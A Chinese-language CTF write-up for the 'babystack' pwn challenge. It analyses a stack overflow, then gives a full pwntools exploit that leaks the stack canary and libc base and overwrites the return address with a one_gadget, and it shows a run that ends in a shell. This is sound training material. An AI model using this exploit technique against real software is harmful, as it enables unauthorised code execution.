源文件下载:http://file.eonew.cn/ctf/pwn/babystack.zip 。
目录
程序功能介绍
安全防护
ex@Ex:~/test$ checksec babystack
[*] '/home/ex/test/babystack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
主程序
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int option; // eax
char buf; // [rsp+10h] [rbp-90h]
unsigned __int64 v6; // [rsp+98h] [rbp-8h]
v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
memset(&buf, 0, 0x80uLL);
while ( 1 )
{
show_menu();
option = get_number();
switch ( option )
{
case 2:
puts(&buf);
break;
case 3:
return 0LL;
case 1:
read(0, &buf, 0x100uLL);
break;
default:
puts_inner("invalid choice");
break;
}
puts_inner((const char *)&unk_400AE7);
}
}
分析
很明显的栈溢出漏洞。
思路
- 读stack_guard
- 泄露libc基地址
- getshell
读stack_guard
sh.sendline('1')
sh.send('a' * 0x88 + 'a')
clear()
sh.sendline('2')
sh.recvuntil('a' * 0x89)
result = '\x00' + sh.recvuntil('\n')[:-1]
result = result[:8]
stack_guard = u64(result.ljust(8,'\x00'))
log.success("stack_guard: " + hex(stack_guard))
这里要注意一下,由于stack_guard的低字节是'\0',所以我们要进行填充,要不然会被截断。
泄露libc基地址
由于__libc_start_main_ret_offset
的值是对于同一glibc是固定的,所以直接用这个算就可以了。
sh.sendline('1')
sh.send('a' * 0x98)
sh.sendline('2')
sh.recvuntil('a' * 0x98)
result = sh.recvuntil('\n')[:-1]
result = result[:8]
__libc_start_main_ret = u64(result.ljust(8,'\x00'))
log.success("__libc_start_main_ret: " + hex(__libc_start_main_ret))
__libc_start_main_ret_offset = 0x21b97
libc_base = __libc_start_main_ret - __libc_start_main_ret_offset
log.success("libc_base: " + hex(libc_base))
计算方法如下:
pwndbg> stack
20:0100│ 0x7fff7f1d7aa8 —▸ 0x7fbca7227b97 (__libc_start_main+231) ◂— mov edi, eax
21:0108│ 0x7fff7f1d7ab0 ◂— 0x1
22:0110│ 0x7fff7f1d7ab8 —▸ 0x7fff7f1d7b88 —▸ 0x7fff7f1d8029 ◂— './babystack'
23:0118│ 0x7fff7f1d7ac0 ◂— 0x100008000
24:0120│ 0x7fff7f1d7ac8 —▸ 0x400908 ◂— 0xa0ec8148e5894855
25:0128│ 0x7fff7f1d7ad0 ◂— 0x0
26:0130│ 0x7fff7f1d7ad8 ◂— 0x43cedf2cb609bb77
27:0138│ 0x7fff7f1d7ae0 —▸ 0x400720 ◂— 0x89485ed18949ed31
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x400000 0x401000 r-xp 1000 0 /home/ex/test/babystack
0x600000 0x601000 r--p 1000 0 /home/ex/test/babystack
0x601000 0x602000 rw-p 1000 1000 /home/ex/test/babystack
0x7fbca7206000 0x7fbca73ed000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fbca73ed000 0x7fbca75ed000 ---p 200000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fbca75ed000 0x7fbca75f1000 r--p 4000 1e7000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fbca75f1000 0x7fbca75f3000 rw-p 2000 1eb000 /lib/x86_64-linux-gnu/libc-2.27.so
0x7fbca75f3000 0x7fbca75f7000 rw-p 4000 0
0x7fbca75f7000 0x7fbca761e000 r-xp 27000 0 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fbca77ff000 0x7fbca7801000 rw-p 2000 0
0x7fbca781e000 0x7fbca781f000 r--p 1000 27000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fbca781f000 0x7fbca7820000 rw-p 1000 28000 /lib/x86_64-linux-gnu/ld-2.27.so
0x7fbca7820000 0x7fbca7821000 rw-p 1000 0
0x7fff7f1b8000 0x7fff7f1d9000 rw-p 21000 0 [stack]
0x7fff7f1e1000 0x7fff7f1e4000 r--p 3000 0 [vvar]
0x7fff7f1e4000 0x7fff7f1e6000 r-xp 2000 0 [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg> p/x 0x7fbca7227b97-0x7fbca7206000
$1 = 0x21b97
getshell
将返回地址改为one_gadget
,即可getshell,原本我还想这用system函数,但是实践的时候才发现,这个是64位的程序,栈的传递用的是rdx。
one_gadget
ex@Ex:~/test$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
one_gadget_offset = 0x4f2c5
one_gadget_addr = libc_base + one_gadget_offset
log.success("one_gadget_addr: " + hex(one_gadget_addr))
layout = [
'a' * 0x88,
p64(stack_guard),
'b' * 8,
p64(one_gadget_addr)
]
sh.sendline('1')
sh.send(flat(layout))
sh.sendline('3')
sh.interactive()
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
elf = ELF('./babystack')
sh = process('./babystack')
context.log_level = "debug"
# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
def clear():
sh.recvuntil('>> ')
clear()
sh.sendline('1')
sh.send('a' * 0x88 + 'a')
clear()
sh.sendline('2')
sh.recvuntil('a' * 0x89)
result = '\x00' + sh.recvuntil('\n')[:-1]
result = result[:8]
stack_guard = u64(result.ljust(8, '\x00'))
log.success("stack_guard: " + hex(stack_guard))
sh.sendline('1')
sh.send('a' * 0x98)
sh.sendline('2')
sh.recvuntil('a' * 0x98)
result = sh.recvuntil('\n')[:-1]
result = result[:8]
__libc_start_main_ret = u64(result.ljust(8, '\x00'))
log.success("__libc_start_main_ret: " + hex(__libc_start_main_ret))
__libc_start_main_ret_offset = 0x21b97
libc_base = __libc_start_main_ret - __libc_start_main_ret_offset
log.success("libc_base: " + hex(libc_base))
one_gadget_offset = 0x4f2c5
one_gadget_addr = libc_base + one_gadget_offset
log.success("one_gadget_addr: " + hex(one_gadget_addr))
layout = [
'a' * 0x88,
p64(stack_guard),
'b' * 8,
p64(one_gadget_addr)
]
sh.sendline('1')
sh.send(flat(layout))
sh.sendline('3')
sh.interactive()
# 删除pid文件
os.system("rm -f pid")
不知道为什么,脚本总是会有莫名的I/O中断,多运行几次就行了,或许是我电脑有问题。
运行实例
x@Ex:~/test$ ./exp.py
[*] '/home/ex/test/babystack'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE
[+] Starting local process './babystack': Done
[+] stack_guard: 0x91ac88c2bfd4f500
[+] __libc_start_main_ret: 0x7fe665b12b97
[+] libc_base: 0x7fe665af1000
[+] one_gadget_addr: 0x7fe665b402c5
[*] Switching to interactive mode
--------
1.store
2.print
3.quit
--------
>>
--------
1.store
2.print
3.quit
--------
>> $ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$
鸡汤
世上无难事。